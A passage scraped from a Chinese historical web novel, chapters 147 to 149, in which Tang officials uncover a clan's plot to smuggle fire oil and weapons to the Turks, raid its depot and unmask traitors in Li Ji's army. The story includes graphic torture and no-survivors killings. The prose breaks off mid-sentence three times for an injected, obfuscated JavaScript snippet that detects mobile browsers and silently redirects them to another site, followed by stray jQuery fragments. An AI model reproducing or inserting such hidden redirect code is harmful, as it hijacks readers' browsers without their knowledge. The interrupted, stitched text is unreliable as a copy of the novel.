他走到沙盘前,拿起几枚黑色的小旗,插在了从太原通往长安的几条主要官道上。
“你看,他们在朝堂上制造混乱,在地方上攻击李绩将军,在东宫里陷害于大人。所有的一切,都只是为了一个目的。”
他用手在沙盘上画了一个圈,将太原府和整个河北道都圈了进去。
“把我们,变成一座孤岛。”
李君羡恍然大悟:“他们想切断我们和长安的联系!”
“没错。”林浩的指尖,点在了井陉、上党等几个地名上,“官道被堵,补给和援军就过不来。朝廷的真实情况,我们也无法完全掌握。到时候,他们就可以煽动这些与崔家交好的地方豪族,以‘民乱’、‘兵变’的名义,彻底封死北境。”
“到那时,我们腹背受敌,突厥再趁势南下……这盘棋,他们就赢了。”
李君羡听得冷汗直流,这计策太过歹毒,简直是要将整个大唐北方防线连根拔起。
“那……那我们该怎么办?”
“他们想堵我的路,掀我的桌子?”林浩的嘴角,勾起一抹冷冽的弧度,“想得美。”
他从书案下,抽出了一叠泛黄的陈旧卷宗,正是三十年前的那桩私盐大案。
“官道走不了,我们就走小路。粮草运不进来,我们就自己去‘拿’。”
他将卷宗翻到某一页,上面用朱笔圈着一个外号。
“沙蝎子。”
林浩看向李君羡:“我要你立刻带人,去把这个人给我找出来。三十年前,他是北境最大的私盐贩子,没有人比他更清楚那些地方豪族的私盐路线和藏匿地点。”
“我要把他们的钱袋子,一个个都掏干净!”
“明白!”李君羡领命,转身就要走。
“等等。”林浩叫住了他,又抽出一封信,递了过去,“把这个,交给薛万彻。”
薛万彻正在校场操练那一百名“马匪”精锐,接到信后,拆开一看,先是一愣,随即咧开大嘴,露出一个嗜血的笑容。
信上的字不多,只有一行。
“换上夜行衣,备足三日粮,今夜子时,随我去井陉,抢盐!”
第147章:你跟我玩阴的?老子直接掀桌子
太原府,城西,瓦官巷。
这里是太原城里最藏污纳垢的地方,空气中永远弥漫着劣质酒水、汗臭和阴沟混合的古怪气味。
巷子两旁的土墙上,甚至能看到干涸的暗色血迹。
“四海通”的掌柜钱四海,此刻正弓着腰,走在李君羡身前半步的位置,那张平日里见官就笑的胖脸,现在白得像一张宣纸。
他时不时回头看一眼身后那个面容狰狞的百骑司统领,腿肚子就忍不住打颤。
穿过一条只能容一人通过的窄巷,尽头是一家连招牌都没有的小酒馆。
钱四海停下脚步,指了指里面,声音细若蚊蝇。“李……李统领,沙蝎子……就在里面。”
李君羡没有说话,只是挥了挥手,示意他可以滚了。
钱四海如蒙大赦,几乎是手脚并用地爬出了巷口,转过拐角,他才敢大口喘气,心中只有一个念头:“那位林大人,用的都是些什么阎王爷啊!”
李君羡推开那扇油腻的木门,一股更浓烈的酸腐气味扑面而来。
酒馆里光线昏暗,只有三两个烂醉的汉子趴在桌上。
角落里,一个瘦得像竹竿一样的老头,正佝偻着背,默默地擦拭着一个豁了口的瓦罐。
李君羡径直走了过去,在他对面的长凳上坐下。
那老头眼皮都没抬一下,沙哑的嗓音从喉咙里挤出来。
“喝酒,自己倒。没钱,就滚。”
“我不喝酒。”李君羡将一个钱袋扔在桌上,发出沉闷的响声,“我找你,沙蝎子。”
老头擦拭瓦罐的手停住了。
他缓缓抬起头,上下打量着李君羡:“官府的人,找我一个糟老头子做什么。”
“三十年前,你是北境最大的私盐贩子,从井陉到雁门关,每一条能走私盐的小路,都刻在你的脑子里。”
李君君的声音平铺直叙,像是在陈述一件毋庸置疑的事实。
“沙蝎子”冷笑一声,重新低下头擦拭他的瓦罐。
他伸出干枯的手指,上面布满了老茧和狰狞的旧伤疤。
“好汉不提当年勇。我现在就是个躺在棺材里等土埋的老东西,你找错人了。”
李君羡也不恼,他从怀里掏出一封用火漆封好的信,推到老头面前。“林大人让我把这个交给你。”
听到“林大人”三个字,老头的动作又是一顿。太原府如今谁人不知林浩。他盯着那封信,迟疑了片刻,还是伸出干枯的手,撕开了火漆。
信纸上没有客套的寒暄,只有几行墨迹淋漓、力透纸背的大字。
“崔家通敌,欲引突厥入关,北境危在旦夕。其所用粮道、军械运输路线,皆脱胎于昔日私盐小径。
你若助我,事成之后,崔氏除名,盐工活命,既往不咎。
你若不助,便与这满城百姓,一同等着城破家亡。”
“沙蝎子”那双浑浊的眼睛,一点点睁大。
他拿着信纸的手,开始不受控制地颤抖起来。
他的目光,死死地盯住了“通敌”二字,一段尘封的血腥记忆猛然涌上心头。
二十年前,他最好的一个兄弟,就是因为撞破了崔家偷偷运送一批“不像盐”的货物,被崔家的护院活活打死,尸体扔进了盐碱地里。
通敌?引突厥入关?
他比任何人都清楚崔家在北方的势力有多么庞大,他们的私盐网络,几乎垄断了整个河北、河东。
这些年,崔家为了彻底掌控这条线,不知道逼**多少像他一样的老盐贩子,又让多少盐工家破人亡。
他本以为,崔家只是为了钱。
却没想到,他们竟然是在用这条盐路,为突厥人运送军械,要卖掉整个大唐!
他猛地站起身,因为动作太急,带倒了身后的凳子,发出“哐当”一声巨响。
他死死攥着那封信,胸膛剧烈起伏:“好一个清河崔氏!好一群**的狗贼!”
冲天的怒火过后,他那双浑浊的眼睛重新变得锐利,死死地盯着李君羡。
“他……他凭什么让我信他?我凭什么信他能保住我的兄弟?
我们这些人,在官府眼里,都是贼!
事成之后,他会不会来个黑吃黑,把我们当成崔家余孽一并清剿了”
“就凭他姓林,叫林浩。”
李君羡一字一句地回答,“就凭他在黑石谷,用一百人,全歼了乌桓五千精骑。
林大人说了,此次相助,乃是为国除贼,是功非过。
事成之后,所有参与此事的盐工兄弟,不仅赦免旧罪,还会按军功论赏。
他让我告诉你,他要的,是能为大唐拼命的义士,不是用完就扔的脏手套。”
李君羡将林浩的原话复述了一遍。
沙蝎子盯着李君羡看了许久,终于重重地点了点头:“你回去告诉林大人。崔家的路,不止是运盐。
这些年,他们偷运的东西多了去了。猛火油、铁矿、军械……什么赚钱运什么。
他们在河北、河东两道,至少有七个像我们当年一样的老窝,用来囤积和转运这些东西。
你让他派人去查这几个地方,尤其河东道的张家村。那里是崔家在太原府附近最大的一个黑仓,他们最近肯定有大动作!”
……
半个时辰后,林浩看着李君羡带回来的地图,以及沙蝎子凭记忆画出的几条隐秘路线,脸上终于露出了一丝笑意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459811|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
专业的事情,果然还是要找专业的人来办。
“大人,刚刚收到四海通商队从河北传回的消息。”
一名亲兵匆匆走进,“河北道已有三个县城出现谣言,说朝廷要加重赋税,有地方豪族趁机高价囤粮,城中米价一日三涨,百姓怨声载道。”
来了。几乎是同时,另一名斥候也冲了进来。
“报!大人!我们的人按照沙蝎子提供的路线,在河东道张家村外围,发现大量车辙印记,村内防卫森严,疑似藏有大批军械和……猛火油!”
李君羡面色一变:“大人,崔家这是想先在地方上制造混乱,吸引我们的注意力,然后趁机将这些军械运往北方!”
“不,你只说对了一半。”林浩走到沙盘前,拿起几枚代表“混乱”的黑色棋子,插在河北道那几个县城的位置。
“你看,”他指着棋子对李君羡说,“他们在朝堂上用**拖住陛下,这是第一步。
在地方上煽动民乱,制造恐慌,这是第二步。这两步,都是虚招,是障眼法。
“他们真正的目的,是利用我们疲于应付民乱的空档,将张家村这些足以武装一支大军的物资,神不知鬼不觉地送出关外,交给突厥人!
他们想让我腹背受敌,手忙脚乱?想把我们变成一座孤岛?
他们以为这是在下棋,可惜,我从不跟人下棋。
我只喜欢……掀桌子。”
他走到书案前,提笔写下一道手令。“传令下去,让信鸽网络向长安和北境各地散布消息,就说,朝廷已派下钦差,凡在此次粮价风波中,囤积居奇、煽动民乱者,一经查实,以叛国罪论处,主犯斩立决,家产充公!”
他要先放出一只猛虎,去吓唬那些跟风的豺狼。
写完之后,他又拿出另一张纸,写下了第二道命令。
他将手令封好,递给门外的亲兵。
“立刻送去黑石谷,交给薛将军。告诉他,张家村是崔家的命脉之一,防卫必定森严,此行九死一生。让他带上我们最锋利的刀,去做最狠的事!”
夜色渐深,黑石谷的临时营地里,薛万彻刚刚结束了一天的操练,正光着膀子,用冷水擦洗着身上结实的肌肉。
一名亲兵飞马而至,将林浩的手令呈上。
薛万彻拆开信,借着火光一看,那双铜铃大的眼睛瞬间亮了起来。
他一巴掌拍在大腿上,发出一声巨响,咧开大嘴,露出一口白牙。
“都给老子换上夜行衣!备足干粮!
林大人有令,今晚,跟老子去河东道张家村,抢**猛火油!
记住,送他们去见阎王!一个活口都不留!”
第148章:夜袭张家村,烧他个底朝天!
子时,夜色如墨。
太原府东郊的山路上,一百余骑的身影在林间穿行,马蹄裹着厚布,几乎听不见任何声音。
甲叶偶尔碰撞发出的细微声响,很快便被风声吞没。
队伍最前头,一个干瘦如猴的老头骑着一匹瘦马,他就是沙蝎子派来带路的老盐贩。
他不时回头,打出几个只有圈内人才懂的手势,指引着方向。
在这片连本地山民都可能迷路的山林里,他却像是在走自家的后院。
薛万彻紧跟其后,一身黑色劲装几乎与夜色融为一体。
他身后那一百名士卒,个个都是从黑石谷尸山血海里爬出来的狠角色,身上那股子煞气,让周遭的夜枭都不敢啼叫。
“将军,前面就是张家村。”老盐贩勒住缰绳,声音压得极低。
薛万彻抬手一挥,整支队伍瞬间停下,如鬼魅般融入了道路两旁的阴影里。
抬眼望去,那村落依山而建,外面围着一圈半人高的土墙,看似寻常。
但村口和几个制高点上,都有火把亮着,能隐约看到手持兵刃的护卫在来回走动。
戒备森严,远超一个普通村庄该有的样子。
“村里多少人?”薛万彻的声音像结了冰。
“明面上是崔家的护院,五十来个。村里住的都是给崔家干活的长工,不用管。但暗地里,肯定藏着崔家的死士,那些才是硬骨头。”
老盐贩的回答滴水不漏。
薛万彻回过头,对着身后的士卒,用手势下达了一连串简洁的命令。
十名身手最矫健的斥候悄然离队,像狸猫一样,借着山壁的掩护,朝着村子后墙摸了过去。
其余人则分成三队,从正面和两个侧翼,形成一个半月形的包围圈,缓缓向前压迫。
张家村的护卫头领,正靠在村口的木栅栏上打盹。
今夜无风,连狗都懒得叫唤一声,安静得让人犯困。
突然,他脖颈处传来一阵刺骨的冰凉,一个激灵猛地惊醒。
一把锋利的横刀已经架在了他的脖子上。
他刚想张嘴呼喊,一只满是老茧的粗糙大手便死死捂住了他的嘴巴,巨大的力道几乎要捏碎他的下颚骨。
“噗嗤!”
那是刀锋划破喉管时沉闷的撕裂声,温热的血喷涌而出。
几乎在同一瞬间,村口的其他几名护卫,也都在寂静中被一一解决。
有人被从背后扭断了脖子,有人被一刀刺穿了心脏,连一声闷哼都来不及发出。
村子后墙,十名斥候如壁虎般翻墙而入,精准地找到了几处藏在暗影里的哨位。
黑暗中,几声短促的挣扎过后,一切又恢复了死寂。
薛万彻做了个“前进”的手势。
大部队如决堤的洪水,无声地涌入村庄。
直到此刻,村里才终于响起第一声凄厉的警报。
“敌袭——!”
然而,太晚了。
薛万彻的人马根本不给他们集结反应的机会,三人一组,五人一队,如同一部高效的杀戮机器,挨家挨户地踹门、清剿。
那些睡梦中被惊醒的崔家护院,有的甚至还没来得及抓起枕边的武器,就被一把锋利的横刀送去见了阎王。
整个过程,没有震天的喊杀,只有兵刃入肉的闷响、骨骼碎裂的脆响,以及临死前绝望的呜咽。
不到一炷香的功夫,整个张家村,除了那些被吓得缩在角落里瑟瑟发抖的长工,再也找不到一个能站着的崔家护卫。
薛万彻一脚踹开村子中央那座最气派的院落大门。
院内,一个身穿绸缎睡袍的中年管事,正哆哆嗦嗦地举着一把剑,色厉内荏地尖叫:“你们是什么人!知不知道这里是谁的地盘!这是清河崔家的产业!”
薛万彻看都懒得看他手里的剑,大步上前,反手就是一记响亮的耳光,直接将他抽得原地转了两圈,一屁股摔倒在地。
“地窖在哪?”薛万彻用刀背拍了拍那管事肿起来的脸。
“我……我不知道什么地窖……”那管事吐出两颗带血的牙齿,还想嘴硬。
薛万彻没再问话。
他一把抓住管事没受伤的那只手,按在院中的石磨上,抬起脚,猛地踩了下去。
“咔嚓!”
清脆的骨裂声在寂静的夜里格外刺耳,听得周围的士兵都忍不住眼皮一跳。
“啊——!!!”
杀猪般的惨嚎终于撕破了夜空。
“我再说最后一遍,地窖在哪?”薛万彻的声音毫无波澜。
“在……在卧房!卧房的床底下!我说!我什么都说!”
那管事涕泪横流,另一只手死死抓着被踩烂的手腕,疼得浑身抽搐,彻底崩溃了。
几名士兵冲进卧房,很快就找到了机关。
床板缓缓移开,一个黑漆漆的洞口显露出来,一股刺鼻的桐油和硫磺混合的气味,从洞口里直冲上来。
薛万彻一把夺过亲兵手里的火把,亲自走下地道。
当火光照亮地窖全貌的那一刻,即便是薛万彻这样尸山血海里滚出来的悍将,瞳孔也不由得一缩。
地窖的空间大得吓人,里面密密麻麻码放着一人多高的黑色陶罐,粗略一数,不下五百个!
每一个陶罐都用火漆封得严严实实,罐身上还刻着一个狰狞的狼头标记。
猛火油!足以将一座坚城烧成白地的猛火油!
而在陶罐的另一边,是堆积如山的木箱。
一名士兵用刀鞘撬开一个,里面全是崭新锃亮的甲胄和横刀。
再撬开一个,是成捆的强弓和一簇簇闪着寒光的羽箭。
这些军械的数量,足以武装起一支三千人的精锐部队!
“**……这帮狗贼,这是要反啊!”
一名老兵看着这满地窖的军械,声音都在发颤。
薛万彻的脸阴沉得能滴出水来。
他提着还在惨叫的管事,将他拖回地面。
“说!这些东西,要运到哪去?河北道的民乱,是不是你们搞的鬼?”
在被废掉另一只手的威胁下,那管事再不敢有任何隐瞒,将崔家的全盘计划都抖了出来。
原来,崔家计划在河北道几个重要的产粮区,煽动百姓**,制造粮荒的假象,把官府的兵力和注意力全部吸引过去。
然后,他们再趁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465366|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着官道混乱,将张家村这批足以改变一场战争走向的猛火油和军械,伪装成普通商队,通过盐贩子的秘密小路运往北境,交给早已在那里等候接应的突厥人!
计划里,甚至还详细列出了与他们勾结的河北道几个地方豪族和官员的名单!
“烧!”
问完所有话,薛万彻从牙缝里挤出一个字。
他没有丝毫犹豫,将手中的火把,狠狠扔进了那个堆满军械和猛火油的地窖。
“不——!”那管事发出了人生中最后一声绝望的嘶吼。
“轰——!”
冲天的火光瞬间从地窖口喷涌而出,形成一道巨大的火柱,将整个夜空都映成了诡异的橘红色。
剧烈的燃烧引发了连环**,整个地面都在剧烈震动,仿佛地龙翻身。
“把这份口供,还有从他房里搜出来的信件账册,立刻用最快的鸽子送回太原府,交给林大人!”
薛万彻将一份刚刚记录好的口供和一叠书信,塞进一个特制的信筒,交给一名亲兵。
做完这一切,他走到那名瘫软如泥的管事面前。
“林大人有令,送你们去见阎王。一个,活口,都不留。”
……
与此同时,太原府,节度使府。
夜已深,林浩的书房里依旧灯火通明。
他没有睡,只是静静地站在巨大的沙盘前。
沙盘上,从太原到长安,再到河北、北境的广袤土地上,插满了各种颜色的小旗。
李君羡在一旁焦急地踱步,时不时望向窗外漆黑的夜空。
“大人,薛将军他们已经出发两个时辰了,也不知道顺不顺利……那张家村是崔家的老巢之一,防卫肯定森严。”
林浩没有回头,他的手指轻轻抚过沙盘上代表“张家村”的那枚黑色棋子。
“放心,我给薛万彻的,是全天下最锋利的刀。而他,是全天下最会用刀**的人。”
他布下了这个局,现在,他在等一个结果。
就在这时,窗外传来一阵细微的“噗噗”声。
一只灰色的信鸽穿过夜幕,精准地落在了窗台上。
李君羡一个箭步冲过去,小心翼翼地取下信鸽脚上的信筒,双手呈给林浩。
林浩打开信筒,抽出里面的两张纸条。
一张是薛万彻龙飞凤舞的字迹,简短地报告了战果:“村已平,物已毁。”
而另一张,则是那份从管事口中逼问出来,沾着血腥味的名单!
林浩看着那份名单,上面一个个熟悉的地方豪族姓氏和官员名字,与他之前通过“四海通”商会收集到的情报,完美地印证在了一起。
崔家反扑的最后一张底牌,也是最致命的一张底牌,被他掀开了。
“大人,这……”
李君羡看着那份名单,也惊出了一身冷汗。
林浩将那张写着战果的纸条,随手扔进烛火中,看着它化为灰烬。
“李君羡。”
“末将在!”
“拟一份公文,将这份名单原封不动地抄录进去。”
林浩将名单递给他,“用八百里加急,送去河北道,交给李绩大将军。”
第149章:将军,别念了!我们全都招!
幽州大营,深夜。
中军大帐内,烛火摇曳,将李绩的身影投在地图上。
他正在审阅军务文书,忽然一名亲兵脚步匆匆地冲进帐中,双手捧着一个沾满尘土的信筒。
“将军,太原府八百里加急!”
李绩接过信筒,看到上面那个熟悉的火漆印记,神色立时严肃起来。
这是林浩的私印,动用此印,必有万分紧急的军情。
他拆开信筒,抽出里面的密信,借着烛火仔细阅读。
才看了几行,他的眉头就皱了起来。
越往下看,他的脸色越是难看。
当读到最后一页那份名单时,这位身经百战、早已心如磐石的老将军,手掌竟控制不住地颤抖起来。
他猛地一掌拍在桌案上,厚实的木桌发出一声沉重的闷响,整个帐篷都为之震动。
“这帮吃里扒外的**的!”
密信中,详细列出了河北道勾结突厥的叛徒名单。
而让李绩五内俱焚的是,名单上赫然写着他麾下三名校尉和两名司马的名字:校尉**、校尉王承德、校尉刘安国,司马孟长青、司马崔怀仁。
**,七年前在战场上为他挡过一箭,是他一手从伙夫提拔起来的!
孟长青,更是跟了他快十年的老部下!
除了军中将领,名单上还有河北道七个州的豪族头目,包括瀛州刺史的堂兄、冀州首富陈家的家主、深州最大的粮商……
每一个名字后面,都用朱笔详细标注了他们与突厥的勾结方式:
有的负责提供情报,有的负责运送物资,有的,则负责在关键时刻发动叛乱,里应外合!
“将军,怎么了?”
副将韩威听到动静,掀帘进帐,关切地问道。
李绩没有立刻回答,而是将密信又看了一遍,试图从那力透纸背的字迹中找出任何可能的破绽。
但是,没有。
密信中的每一个细节都写得清清楚楚,包括秘密接头的地点、暗号、甚至连突厥使者左脸有道刀疤的特征都有详细描述。
这种程度的详实,绝不可能是凭空杜撰。
“韩威,坐。”李绩示意副将在对面坐下,声音低沉得可怕。
韩威从没见过自家将军这副模样,心里七上八下,小心翼翼地坐下。
“你觉得,林浩此人如何?”李绩突然问道。
韩威愣了一下,斟酌着回答:“林大人神机妙算,黑石谷一战,堪称鬼神之笔。不过……”
“不过什么?”
“不过最近朝中风言风语,说林大人在太原拥兵自重,还说他和将军您暗中勾结,意图不轨。”
韩威小心地观察着李绩的表情,“属下觉得,此事体大,咱们还是谨慎一些为好。”
李绩发出了一声意味不明的鼻音。
恰在此时,又有亲兵来报:“将军,瀛州、冀州、深州同时来了紧急军报,说各地都爆发了民乱,声势浩大,请求大军立刻前往平叛!”
韩威立刻站起身:“将军,这三地民乱爆发得太过凑巧,早不来晚不来,偏偏在这个时候!这分明是陷阱,想把我们的大军调出去,分散兵力!”
李绩接过三份军报,粗略扫过,嘴角泛起一抹冷峭的弧度。
这三处民乱的爆发时间,几乎精确到了同一个时辰,与林浩信中所述的叛乱计划完全吻合。
他站起身,在帐中来回踱步。
林浩的名单,和突然爆发的民乱,如同一副齿轮,完美地咬合在了一起。
这让他不得不信。如果林浩真有问题,他大可以让乌桓人长驱直入,让崔家把军械送到突厥人手里,何必多此一举,送来这份足以扭转乾坤的名单?
想到这里,李绩下定了决心。他眼中的犹豫一扫而空,取而代之的是彻骨的杀意。
“韩威,传我军令。”
“将军请吩咐。”
“以‘夜间紧急军演’为名,召集所有校尉和司马,一个时辰后在校场集合。”
李绩的声音平静无波,但韩威能感受到其中蕴含的风暴,“记住,是所有人,一个都不能少。谁敢迟到,按通敌论处!”
韩威心头剧震,抱拳领命:“遵命!”
一个时辰后,校场之上。
月亮躲在乌云后面,只有几支火把在寒风中猎猎作响,将人的影子拉得歪歪扭扭。
十几名校尉和司马按照军衔高低排成一列,每个人脸上都带着疑惑。
李绩身着全套戎装,手按佩刀,一步步走到队列前方。
他的身后,是五百名亲兵营的精锐,甲胄鲜明,刀已出鞘,肃杀之气弥漫开来。
“诸位,今夜召集大家,是要进行一次特殊的演习。”
李绩扫视着面前的将领们,“演习的内容很简单,就是看看,我们当中,有多少人还记得自己是大唐的军人!”
听到这话,**等几名校尉的脸色有了细微的变化,额角隐隐有汗渗出。
“将军,不知这演习要如何进行?”司马孟长青硬着头皮站出来问道。
李绩没有回答,而是从怀中掏出那份密信,在众人面前展开。“在演习开始之前,本将军先点个名。”
他清了清嗓子,声音如金石相击,响彻校场:“**!”
“末……末将在!”**的声音明显发颤。
“王承德!”
“末将在……”
一个个名字被点出,被点到的人,脸色便白上一分。
当李绩念完最后一个名字,校场上已是死一般的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465367|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寂静。
“诸位,有没有觉得这份名单很眼熟?”李绩将密信收起,目光如刀,一一刮过那几张煞白的脸。
**再也撑不住了,他知道再狡辩也是徒劳,噗通一声跪倒在地:“将军饶命!属下……属下是被逼的!”
这一跪,就像推倒了第一块多米诺骨牌。
王承德、刘安国等人,也接二连三地跪了下去,哭喊声响成一片。
只有几名清白的将领,还震惊地站在原地,不敢相信自己的眼睛。
“很好。”李绩点点头,脸上却没有半分动容,“看来演习效果不错,自己都跳出来了。”
他一挥手,早已准备好的士兵蜂拥而上,将那几名跪地的叛徒死死按住,用麻绳捆了个结实。
“将军!我们真的是被逼的!”**拼命挣扎,涕泪横流,“突厥人抓了我们的家眷,威胁我们必须配合,否则就……”
“被逼?”李绩走上前,一脚将他踹翻在地,冷笑道,“那你们收突厥人的金银珠宝,出卖袍泽弟兄的时候,怎么不说被逼?韩威!”
“在!”
“去搜他们的住处!林大人信上说了,东西都藏在哪!”
不到一炷香的功夫,韩威便带人返回。
他将几个沉甸甸的包裹扔在地上,其中一个袋口散开,黄澄澄的金饼和各式珠宝滚了一地,上面还带着异域的纹饰。
另一名士兵则呈上了一叠书信和一张羊皮地图,正是河北道的详细军事部署图,上面用突厥文标注着各处兵力虚实。
看着这些铁证,剩下的清白将领们都倒吸了一口凉气,看向那几个叛徒的眼神充满了愤怒。
“将军,河北道各州的民乱怎么办?”韩威问道。
“民乱?”李绩不屑地撇撇嘴,“一群被推出来的蠢货罢了。没了这些内奸在背后操控,没了金银许诺,你觉得那些地痞流氓还能闹腾几天?用不了三天,自己就散了。”
果然,不出李绩所料。
随着军中内奸被一网打尽的消息传开,河北道各州的“民乱”很快就偃旗息鼓。
李绩正准备将这个好消息写信告知林浩,忽然又有斥候飞奔来报,神色慌张。
“将军,抓到一个突厥探子,他说有天大的情报要禀报!”
李绩眉头一拧:“带上来。”
那探子被押进大帐,一看到李绩就拼命磕头,语无伦次:“将军饶命!小的愿将功补过!我说,我全说!”
“讲!”
“颉利可汗……他已经集结了草原所有部落的大军,准备趁着大唐内乱的机会,全面南下!”
探子颤抖着声音,脸上满是惊恐,“大军……大军足有十万之众,预计……预计半个月后,就会兵临城下!”